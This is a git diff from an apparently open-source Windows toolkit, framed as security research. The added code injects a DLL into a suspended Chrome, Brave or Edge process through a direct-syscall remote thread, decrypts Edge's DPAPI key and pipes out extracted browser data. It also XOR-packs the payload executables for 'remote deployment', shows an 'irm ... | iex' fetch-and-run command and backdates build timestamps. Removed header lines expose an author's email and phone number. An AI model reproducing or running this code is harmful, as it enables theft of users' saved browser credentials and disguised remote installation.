+ } + return nullptr; + }; + + auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva); + if (!exportDir) return 0; + + auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames); + auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals); + auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions); + if (!names || !ordinals || !funcs) return 0; + + // Search for specific export by name + for (DWORD i = 0; i < exportDir->NumberOfNames; ++i) + { + char* funcName = (char*)RvaToOffset(names[i]); + if (funcName && strcmp(funcName, "InitializeSecurityContext") == 0) + { + PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]); + if (!funcOffsetPtr) return 0; + return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_moduleBuffer.data()); + } + } + return 0; +} + +// Creates remote thread at calculated entry point +void InjectionManager::startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr) +{ + m_console.Debug("Creating new thread in target to execute InitializeSecurityContext."); + + uintptr_t entryPoint = reinterpret_cast(remoteModuleBase) + rdiOffset; + HANDLE hRemoteThread = nullptr; + + NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(), + (LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr); + + UniqueHandle remoteThreadGuard(hRemoteThread); + + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtCreateThreadEx failed: " + Utils::NtStatusToString(status)); + + m_console.Debug("Successfully created new thread for security module."); +} \ No newline at end of file diff --git a/kvc/InjectionEngine.h b/kvc/InjectionEngine.h new file mode 100644 index 0000000..d4be9b9 --- /dev/null +++ b/kvc/InjectionEngine.h @@ -0,0 +1,35 @@ +// InjectionEngine.h - PE injection and remote execution management +#ifndef INJECTION_ENGINE_H +#define INJECTION_ENGINE_H + +#include +#include +#include +#include "BrowserProcessManager.h" +#include "CommunicationLayer.h" + +// Handles DLL injection and remote thread execution +class InjectionManager +{ +public: + InjectionManager(TargetProcess& target, const Console& console); + + // Performs complete injection workflow: load, parse, inject, execute + void execute(const std::wstring& pipeName); + +private: + // Loads security module from disk into memory buffer + void loadSecurityModuleFromFile(const std::string& modulePath); + + // Parses PE export table to find entry point offset + DWORD getInitializeSecurityContextOffset(); + + // Creates remote thread to execute injected code + void startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr); + + TargetProcess& m_target; + const Console& m_console; + std::vector m_moduleBuffer; +}; + +#endif // INJECTION_ENGINE_H \ No newline at end of file diff --git a/kvc/KeyboardHook.cpp b/kvc/KeyboardHook.cpp index 9e5cc1d..ea0c4d3 100644 --- a/kvc/KeyboardHook.cpp +++ b/kvc/KeyboardHook.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "KeyboardHook.h" #include "TrustedInstallerIntegrator.h" #include "common.h" diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp index 3b2101a..7864a08 100644 --- a/kvc/Kvc.cpp +++ b/kvc/Kvc.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "common.h" #include "Controller.h" #include "DefenderManager.h" diff --git a/kvc/KvcDrv.cpp b/kvc/KvcDrv.cpp index b5c6c65..23c724b 100644 --- a/kvc/KvcDrv.cpp +++ b/kvc/KvcDrv.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // KvcDrv.cpp #include "kvcDrv.h" #include "common.h" diff --git a/kvc/KvcXor.cpp b/kvc/KvcXor.cpp new file mode 100644 index 0000000..c4dc71d --- /dev/null +++ b/kvc/KvcXor.cpp @@ -0,0 +1,660 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef _WIN32 +#define NOMINMAX +#include +#endif + +namespace fs = std::filesystem; +namespace rng = std::ranges; + +// XOR key +constexpr std::array XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; + +// File paths +constexpr std::string_view KVC_PASS_EXE = "kvc_pass.exe"; +constexpr std::string_view KVC_CRYPT_DLL = "kvc_crypt.dll"; +constexpr std::string_view KVC_RAW = "kvc.raw"; +constexpr std::string_view KVC_DAT = "kvc.dat"; +constexpr std::string_view KVC_EXE = "kvc.exe"; +constexpr std::string_view KVC_ENC = "kvc.enc"; + +// Helper for string concatenation (replaces std::format) +inline std::string concat(std::string_view a) { + return std::string(a); +} + +inline std::string concat(std::string_view a, std::string_view b) { + std::string result; + result.reserve(a.size() + b.size()); + result.append(a); + result.append(b); + return result; +} + +inline std::string concat(std::string_view a, std::string_view b, std::string_view c) { + std::string result; + result.reserve(a.size() + b.size() + c.size()); + result.append(a); + result.append(b); + result.append(c); + return result; +} + +inline std::string concat(std::string_view a, std::string_view b, std::string_view c, std::string_view d) { + std::string result; + result.reserve(a.size() + b.size() + c.size() + d.size()); + result.append(a); + result.append(b); + result.append(c); + result.append(d); + return result; +} + +inline std::string concat(std::string_view a, std::string_view b, std::string_view c, + std::string_view d, std::string_view e) { + std::string result; + result.reserve(a.size() + b.size() + c.size() + d.size() + e.size()); + result.append(a); + result.append(b); + result.append(c); + result.append(d); + result.append(e); + return result; +} + +inline std::string concat(std::string_view a, std::string_view b, std::string_view c, + std::string_view d, std::string_view e, std::string_view f) { + std::string result; + result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size()); + result.append(a); + result.append(b); + result.append(c); + result.append(d); + result.append(e); + result.append(f); + return result; +} + +inline std::string concat(std::string_view a, std::string_view b, std::string_view c, + std::string_view d, std::string_view e, std::string_view f, + std::string_view g) { + std::string result; + result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size() + g.size()); + result.append(a); + result.append(b); + result.append(c); + result.append(d); + result.append(e); + result.append(f); + result.append(g); + return result; +} + +// Simple Result type (replacement for std::expected which MSVC doesn't fully support yet) +template +class Result { + std::variant data; + +public: + Result(T value) : data(std::move(value)) {} + Result(std::string error) : data(std::move(error)) {} + + bool has_value() const { return std::holds_alternative(data); } + explicit operator bool() const { return has_value(); } + + T& value() { return std::get(data); } + const T& value() const { return std::get(data); } + + const std::string& error() const { return std::get(data); } + + T* operator->() { return &std::get(data); } + const T* operator->() const { return &std::get(data); } +}; + +// Specialization for void +template<> +class Result { + std::optional error_msg; + +public: + Result() : error_msg(std::nullopt) {} + Result(std::string error) : error_msg(std::move(error)) {} + + bool has_value() const { return !error_msg.has_value(); } + explicit operator bool() const { return has_value(); } + + const std::string& error() const { return *error_msg; } +}; + +// Console colors +enum class Color : int { + Default = 7, + Green = 10, + Red = 12, + Yellow = 14 +}; + +void set_color(Color color) { +#ifdef _WIN32 + SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), static_cast(color)); +#else + switch (color) { + case Color::Green: std::cout << "\033[32m"; break; + case Color::Red: std::cout << "\033[31m"; break; + case Color::Yellow: std::cout << "\033[33m"; break; + case Color::Default: std::cout << "\033[0m"; break; + } +#endif +} + +void reset_color() { + set_color(Color::Default); +} + +// RAII color guard +class ColorGuard { +public: + explicit ColorGuard(Color new_color) { + set_color(new_color); + } + ~ColorGuard() { + reset_color(); + } + ColorGuard(const ColorGuard&) = delete; + ColorGuard& operator=(const ColorGuard&) = delete; +}; + +// XOR operation +void xor_data(std::span data, std::span key) noexcept { + for (size_t i = 0; i < data.size(); ++i) { + data[i] ^= key[i % key.size()]; + } +} + +// Read entire file into vector +Result> read_file(const fs::path& path) { + if (!fs::exists(path)) { + return Result>( + concat("File '", path.string(), "' does not exist") + ); + } + + std::ifstream file(path, std::ios::binary); + if (!file) { + return Result>( + concat("Cannot open file '", path.string(), "'") + ); + } + + std::vector data( + (std::istreambuf_iterator(file)), + std::istreambuf_iterator() + ); + + return data; +} + +// Write data to file +Result write_file(const fs::path& path, std::span data) { + std::ofstream file(path, std::ios::binary); + if (!file) { + return Result( + concat("Cannot create file '", path.string(), "'") + ); + } + + file.write(reinterpret_cast(data.data()), data.size()); + + if (!file) { + return Result( + concat("Error writing to file '", path.string(), "'") + ); + } + + return Result(); +} + +// Helper to read uint16_t from buffer +constexpr uint16_t read_uint16(std::span data, size_t offset) { + return static_cast(data[offset]) | + (static_cast(data[offset + 1]) << 8); +} + +// Helper to read uint32_t from buffer +constexpr uint32_t read_uint32(std::span data, size_t offset) { + return static_cast(data[offset]) | + (static_cast(data[offset + 1]) << 8) | + (static_cast(data[offset + 2]) << 16) | + (static_cast(data[offset + 3]) << 24); +} + +// Determine PE file length from buffer +std::optional get_pe_file_length(std::span data, size_t offset = 0) noexcept { + try { + // Check if we have enough data for DOS header + if (data.size() < offset + 0x40) { + return std::nullopt; + } + + // Check for MZ signature + if (data[offset] != 'M' || data[offset + 1] != 'Z') { + return std::nullopt; + } + + // Get e_lfanew from offset 0x3C + const uint32_t e_lfanew = read_uint32(data, offset + 0x3C); + const size_t pe_header_offset = offset + e_lfanew; + + // Check if we have enough data for PE header + if (pe_header_offset + 6 > data.size()) { + return std::nullopt; + } + + // Check for PE signature + if (data[pe_header_offset] != 'P' || data[pe_header_offset + 1] != 'E' || + data[pe_header_offset + 2] != 0 || data[pe_header_offset + 3] != 0) { + return std::nullopt; + } + + // Get number of sections and size of optional header + const uint16_t number_of_sections = read_uint16(data, pe_header_offset + 6); + const uint16_t size_of_optional_header = read_uint16(data, pe_header_offset + 20); + + // Calculate section table offset + const size_t section_table_offset = pe_header_offset + 24 + size_of_optional_header; + + // Check if we have enough data for section table + if (section_table_offset + number_of_sections * 40 > data.size()) { + return std::nullopt; + } + + // Find the maximum end of section raw data + size_t max_end = 0; + for (uint16_t i = 0; i < number_of_sections; ++i) { + const size_t sh_offset = section_table_offset + i * 40; + + const uint32_t size_of_raw = read_uint32(data, sh_offset + 16); + const uint32_t pointer_to_raw = read_uint32(data, sh_offset + 20); + + if (pointer_to_raw == 0) continue; + + const size_t end = pointer_to_raw + size_of_raw; + max_end = std::max(max_end, end); + } + + // If we found section data, use it + if (max_end > 0) { + const size_t header_end = section_table_offset + number_of_sections * 40; + return std::max(max_end, header_end); + } + + // Fallback: Use SizeOfHeaders from optional header + const size_t optional_header_offset = pe_header_offset + 24; + if (optional_header_offset + 64 <= data.size()) { + const uint32_t size_of_headers = read_uint32(data, optional_header_offset + 60); + if (size_of_headers > 0) { + return size_of_headers; + } + } + } + catch (...) { + return std::nullopt; + } + + return std::nullopt; +} + +// Find next MZ header in buffer +std::optional find_next_mz_header(std::span data, size_t start_offset) { + constexpr std::array pattern = { 'M', 'Z' }; + + auto search_range = rng::subrange( + data.begin() + start_offset, + data.end() + ); + + auto result = rng::search(search_range, pattern); + + if (result.empty()) { + return std::nullopt; + } + + return std::distance(data.begin(), result.begin()); +} + +// Ask user Y/N question +bool ask_yes_no(std::string_view question) { + std::cout << question << " (Y/N): "; + std::string answer; + std::getline(std::cin, answer); + + return !answer.empty() && (answer[0] == 'Y' || answer[0] == 'y'); +} + +// Encode files: kvc_pass.exe + kvc_crypt.dll -> kvc.raw + kvc.dat +Result encode_files() { + std::cout << "Step 1: Encoding " << KVC_PASS_EXE << " + " << KVC_CRYPT_DLL << "...\n"; + + // Read both files + auto exe_result = read_file(KVC_PASS_EXE); + if (!exe_result) { + return Result(exe_result.error()); + } + + auto dll_result = read_file(KVC_CRYPT_DLL); + if (!dll_result) { + return Result(dll_result.error()); + } + + // Combine files + std::vector combined_data; + combined_data.reserve(exe_result->size() + dll_result->size()); + combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end()); + combined_data.insert(combined_data.end(), dll_result->begin(), dll_result->end()); + + // Write raw file + if (auto result = write_file(KVC_RAW, combined_data); !result) { + return result; + } + + // XOR encode the data + xor_data(combined_data, XOR_KEY); + + // Write encoded file + if (auto result = write_file(KVC_DAT, combined_data); !result) { + return result; + } + + std::cout << " -> Files combined -> " << KVC_RAW << "\n"; + std::cout << " -> Combined file XOR-encoded -> " << KVC_DAT << "\n"; + + return Result(); +} + +// Decode files: kvc.dat -> kvc.raw + kvc_pass.exe + kvc_crypt.dll +Result decode_files() { + std::cout << "Decoding " << KVC_DAT << "...\n"; + + auto enc_result = read_file(KVC_DAT); + if (!enc_result) { + return Result(enc_result.error()); + } + + // XOR decode the data + std::vector dec_data = std::move(enc_result.value()); + xor_data(dec_data, XOR_KEY); + + // Write decoded raw file + if (auto result = write_file(KVC_RAW, dec_data); !result) { + return result; + } + + // Try to determine the exact size of the first PE file + auto first_size = get_pe_file_length(dec_data, 0); + + // Fallback if PE parsing failed + if (!first_size || *first_size >= dec_data.size()) { + std::cout << " -> PE parsing failed, using fallback search for MZ header...\n"; + + const size_t search_start = std::min(0x200, dec_data.size() - 1); + first_size = find_next_mz_header(dec_data, search_start); + + if (!first_size) { + // Ultimate fallback: don't split + first_size = dec_data.size(); + } + } + + // Split the files + if (auto result = write_file(KVC_PASS_EXE, std::span(dec_data.data(), *first_size)); !result) { + return result; + } + + if (auto result = write_file(KVC_CRYPT_DLL, std::span(dec_data.data() + *first_size, dec_data.size() - *first_size)); !result) { + return result; + } + + std::cout << " -> Decoded -> " << KVC_RAW << "\n"; + std::cout << " -> Split into " << KVC_PASS_EXE << " and " << KVC_CRYPT_DLL << "\n"; + + return Result(); +} + +// Build distribution package: kvc.exe + kvc.dat -> kvc.enc +Result build_distribution() { + std::cout << "Building distribution package...\n"; + + // Check if kvc.dat exists + if (!fs::exists(KVC_DAT)) { + std::cout << " -> " << KVC_DAT << " not found.\n"; + + // Check if source files exist + if (!fs::exists(KVC_PASS_EXE) || !fs::exists(KVC_CRYPT_DLL)) { + return Result( + concat("Cannot create ", KVC_DAT, ": missing ", KVC_PASS_EXE, " or ", KVC_CRYPT_DLL) + ); + } + + // Ask if we should create it + if (ask_yes_no(concat("Create ", KVC_DAT, " from ", KVC_PASS_EXE, " and ", KVC_CRYPT_DLL, "?"))) { + if (auto result = encode_files(); !result) { + return result; + } + } else { + return Result("Operation cancelled by user"); + } + } + + // Read both files + auto exe_result = read_file(KVC_EXE); + if (!exe_result) { + return Result(exe_result.error()); + } + + auto dat_result = read_file(KVC_DAT); + if (!dat_result) { + return Result(dat_result.error()); + } + + // Combine files + std::vector combined_data; + combined_data.reserve(exe_result->size() + dat_result->size()); + combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end()); + combined_data.insert(combined_data.end(), dat_result->begin(), dat_result->end()); + + // XOR encode the combined data + xor_data(combined_data, XOR_KEY); + + // Write encoded distribution file + if (auto result = write_file(KVC_ENC, combined_data); !result) { + return result; + } + + std::cout << " -> Distribution package created -> " << KVC_ENC << "\n"; + std::cout << " -> Ready for remote deployment!\n"; + + return Result(); +} + +// Decode distribution package: kvc.enc -> kvc.exe + kvc.dat +Result decode_distribution() { + std::cout << "Decoding distribution package...\n"; + + auto enc_result = read_file(KVC_ENC); + if (!enc_result) { + return Result(enc_result.error()); + } + + // XOR decode the data + std::vector dec_data = std::move(enc_result.value()); + xor_data(dec_data, XOR_KEY); + + // Try to determine the exact size of kvc.exe + auto exe_size = get_pe_file_length(dec_data, 0); + + // Fallback if PE parsing failed + if (!exe_size || *exe_size >= dec_data.size()) { + std::cout << " -> PE parsing failed, using fallback search for MZ header...\n"; + + const size_t search_start = std::min(0x200, dec_data.size() - 1); + exe_size = find_next_mz_header(dec_data, search_start); + + if (!exe_size) { + // Ultimate fallback: use half + exe_size = dec_data.size() / 2; + } + } + + // Split the files + if (auto result = write_file(KVC_EXE, std::span(dec_data.data(), *exe_size)); !result) { + return result; + } + + if (auto result = write_file(KVC_DAT, std::span(dec_data.data() + *exe_size, dec_data.size() - *exe_size)); !result) { + return result; + } + + std::cout << " -> Distribution package decoded -> " << KVC_EXE << " + " << KVC_DAT << "\n"; + + return Result(); +} + +// Decode everything: kvc.enc -> kvc.exe + kvc_pass.exe + kvc_crypt.dll +Result decode_everything() { + std::cout << "Complete decoding of distribution package...\n"; + + // Check if kvc.enc exists + if (!fs::exists(KVC_ENC)) { + std::cout << " -> " << KVC_ENC << " not found.\n"; + + // Check if we can create it from existing files + if (fs::exists(KVC_EXE) && fs::exists(KVC_DAT)) { + if (ask_yes_no(concat("Create ", KVC_ENC, " from ", KVC_EXE, " and ", KVC_DAT, "?"))) { + if (auto result = build_distribution(); !result) { + return result; + } + } else { + return Result("Operation cancelled by user"); + } + } else { + return Result(concat("File '", KVC_ENC, "' does not exist")); + } + } + + auto enc_result = read_file(KVC_ENC); + if (!enc_result) { + return Result(enc_result.error()); + } + + // XOR decode the data + std::vector dec_data = std::move(enc_result.value()); + xor_data(dec_data, XOR_KEY); + + // Find first PE file (kvc.exe) + auto first_pe_size = get_pe_file_length(dec_data, 0); + + if (!first_pe_size || *first_pe_size >= dec_data.size()) { + return Result("Cannot determine first PE file size"); + } + + // Extract kvc.exe + std::vector kvc_exe_data(dec_data.begin(), dec_data.begin() + *first_pe_size); + + // The remaining data should be kvc.dat + std::vector kvc_dat_data(dec_data.begin() + *first_pe_size, dec_data.end()); + + // Decode kvc.dat to get kvc_pass.exe and kvc_crypt.dll + xor_data(kvc_dat_data, XOR_KEY); + + // Find the PE file in kvc.dat (kvc_pass.exe) + auto second_pe_size = get_pe_file_length(kvc_dat_data, 0); + + if (!second_pe_size || *second_pe_size >= kvc_dat_data.size()) { + return Result("Cannot determine second PE file size in kvc.dat"); + } + + // Write all files + if (auto result = write_file(KVC_EXE, kvc_exe_data); !result) { + return result; + } + + if (auto result = write_file(KVC_PASS_EXE, std::span(kvc_dat_data.data(), *second_pe_size)); !result) { + return result; + } + + if (auto result = write_file(KVC_CRYPT_DLL, std::span(kvc_dat_data.data() + *second_pe_size, kvc_dat_data.size() - *second_pe_size)); !result) { + return result; + } + + std::cout << " -> Complete decoding successful!\n"; + std::cout << " -> Extracted: " << KVC_EXE << ", " << KVC_PASS_EXE << ", " << KVC_CRYPT_DLL << "\n"; + + return Result(); +} + +// Display menu +void display_menu() { + std::cout << "==================================================\n"; + std::cout << "| FILE ENCODER/DECODER TOOL |\n"; + std::cout << "==================================================\n"; + std::cout << "| 1. ENCODE: kvc_pass.exe + kvc_crypt.dll |\n"; + std::cout << "| -> kvc.raw + kvc.dat |\n"; + std::cout << "| 2. DECODE: kvc.dat -> kvc.raw + |\n"; + std::cout << "| kvc_pass.exe + kvc_crypt.dll |\n"; + std::cout << "| 3. BUILD DISTRIBUTION: kvc.exe + kvc.dat |\n"; + std::cout << "| -> kvc.enc |\n"; + std::cout << "| 4. DECODE DISTRIBUTION: kvc.enc -> |\n"; + std::cout << "| kvc.exe + kvc.dat |\n"; + std::cout << "| 5. DECODE EVERYTHING: kvc.enc -> |\n"; + std::cout << "| kvc.exe + kvc_pass.exe + |\n"; + std::cout << "| kvc_crypt.dll |\n"; + std::cout << "==================================================\n\n"; + std::cout << "kvc.enc is used for remote installation via command:\n"; + + ColorGuard green(Color::Green); + std::cout << "irm https://kvc.pl/run | iex\n\n"; +} + +int main() { + display_menu(); + std::cout << "Select operation (1-5): "; + + int choice; + std::cin >> choice; + std::cin.ignore(); // Clear newline from buffer + + Result result = Result("Invalid choice"); + + switch (choice) { + case 1: result = encode_files(); break; + case 2: result = decode_files(); break; + case 3: result = build_distribution(); break; + case 4: result = decode_distribution(); break; + case 5: result = decode_everything(); break; + default: + ColorGuard red(Color::Red); + std::cerr << "Invalid choice. Please select 1-5.\n"; + return 1; + } + + if (!result) { + ColorGuard red(Color::Red); + std::cerr << "Error: " << result.error() << "\n"; + return 1; + } + + return 0; +} \ No newline at end of file diff --git a/kvc/KvcXor.rc b/kvc/KvcXor.rc new file mode 100644 index 0000000..4ff9aaf Binary files /dev/null and b/kvc/KvcXor.rc differ diff --git a/kvc/KvcXor.vcxproj b/kvc/KvcXor.vcxproj new file mode 100644 index 0000000..b0c60b8 --- /dev/null +++ b/kvc/KvcXor.vcxproj @@ -0,0 +1,95 @@ + + + + + Release + x64 + + + + + 17.0 + Win32Proj + {a905154d-f1ec-4821-9717-9f6d35f69f3f} + KvcXor + 10.0 + + + + + + Application + false + v143 + true + Unicode + MultiThreaded + + + + + + + + + + + + + + + false + $(SolutionDir)bin\x64\Release\ + $(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\ + KvcXor + + + + + Level3 + true + true + false + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpplatest + false + MultiThreaded + MaxSpeed + Size + /utf-8 /GS- /Gy /Gw /GL /Brepro %(AdditionalOptions) + + + Console + true + true + false + UseLinkTimeCodeGeneration + /OPT:REF /OPT:ICF=5 /MERGE:.rdata=.text /MERGE:.pdata=.text /NXCOMPAT /INCREMENTAL:NO /Brepro %(AdditionalOptions) + + + powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}" + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kvc/KvcXor.vcxproj.filters b/kvc/KvcXor.vcxproj.filters new file mode 100644 index 0000000..7043250 --- /dev/null +++ b/kvc/KvcXor.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/kvc/KvcXor.vcxproj.user b/kvc/KvcXor.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/kvc/KvcXor.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kvc/OffsetFinder.cpp b/kvc/OffsetFinder.cpp index 81fea02..5c6e7f7 100644 --- a/kvc/OffsetFinder.cpp +++ b/kvc/OffsetFinder.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // OffsetFinder.cpp #include "OffsetFinder.h" #include "Utils.h" diff --git a/kvc/OrchestratorCore.cpp b/kvc/OrchestratorCore.cpp new file mode 100644 index 0000000..a788e1d --- /dev/null +++ b/kvc/OrchestratorCore.cpp @@ -0,0 +1,446 @@ +// OrchestratorCore.cpp - Main orchestration and application entry point +// Coordinates process management, injection, and extraction workflow +#include "OrchestratorCore.h" +#include "BrowserProcessManager.h" +#include "InjectionEngine.h" +#include "CommunicationLayer.h" +#include "syscalls.h" +#include +#include +#include +#include + +namespace +{ + constexpr const char* APP_VERSION = "1.0.1"; + constexpr const char* SECURITY_MODULE_NAME = "kvc_crypt.dll"; +} + +std::string g_securityModulePath; + +// Parses command-line arguments into configuration structure +std::optional Configuration::CreateFromArgs(int argc, wchar_t* argv[], const Console& console) +{ + Configuration config; + fs::path customOutputPath; + + for (int i = 1; i < argc; ++i) + { + std::wstring_view arg = argv[i]; + if (arg == L"--verbose" || arg == L"-v") + config.verbose = true; + else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) + customOutputPath = argv[++i]; + else if (arg == L"--help" || arg == L"-h") + { + console.printUsage(); + return std::nullopt; + } + else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-') + config.browserType = arg; + else + { + console.Warn("Unknown or misplaced argument: " + Utils::WStringToUtf8(arg)); + return std::nullopt; + } + } + + if (config.browserType.empty()) + { + console.printUsage(); + return std::nullopt; + } + + std::transform(config.browserType.begin(), config.browserType.end(), + config.browserType.begin(), ::towlower); + + static const std::map browserExeMap = { + {L"chrome", L"chrome.exe"}, + {L"brave", L"brave.exe"}, + {L"edge", L"msedge.exe"} + }; + + auto it = browserExeMap.find(config.browserType); + if (it == browserExeMap.end()) + { + console.Error("Unsupported browser type: " + Utils::WStringToUtf8(config.browserType)); + return std::nullopt; + } + + config.browserProcessName = it->second; + + BrowserPathResolver resolver(console); + config.browserDefaultExePath = resolver.resolve(config.browserProcessName); + + if (config.browserDefaultExePath.empty()) + { + console.Error("Could not find " + Utils::WStringToUtf8(config.browserType) + + " installation in Registry"); + console.Info("Please ensure " + Utils::WStringToUtf8(config.browserType) + + " is properly installed"); + return std::nullopt; + } + + config.browserDisplayName = Utils::Capitalize(Utils::WStringToUtf8(config.browserType)); + config.outputPath = customOutputPath.empty() ? fs::current_path() / "output" : + fs::absolute(customOutputPath); + + return config; +} + +// Orchestrates complete injection workflow: cleanup, injection, execution, termination +PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console) +{ + std::vector edgeDpapiKey; + + // Edge-specific: Extract DPAPI key in orchestrator before process creation + if (config.browserType == L"edge") + { + // Try multiple possible Edge installation paths + std::vector possiblePaths = { + Utils::GetLocalAppDataPath() / "Microsoft" / "Edge" / "User Data" / "Local State", + Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Beta" / "User Data" / "Local State", + Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Dev" / "User Data" / "Local State" + }; + + for (const auto& edgeLocalState : possiblePaths) + { + if (fs::exists(edgeLocalState)) + { + edgeDpapiKey = DecryptEdgePasswordKeyWithDPAPI(edgeLocalState, console); + + if (!edgeDpapiKey.empty()) + { + break; + } + } + } + + if (edgeDpapiKey.empty()) + { + console.Warn("Could not extract Edge DPAPI key - passwords may not be available"); + } + } + + // Terminate processes holding database locks + KillBrowserNetworkService(config, console); + KillBrowserProcesses(config, console); + + // Create suspended target process + TargetProcess target(config, console); + target.createSuspended(); + + // Establish named pipe communication + PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console); + pipe.create(); + + // Inject security module and create remote thread + InjectionManager injector(target, console); + injector.execute(pipe.getName()); + + // Wait for module connection and send configuration + pipe.waitForClient(); + pipe.sendInitialData(config.verbose, config.outputPath, edgeDpapiKey); + pipe.relayMessages(); + + // Cleanup + target.terminate(); + + return pipe.getStats(); +} + +// Processes all installed browsers sequentially +void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath) +{ + if (verbose) + console.Info("Starting multi-browser security analysis..."); + + BrowserPathResolver resolver(console); + 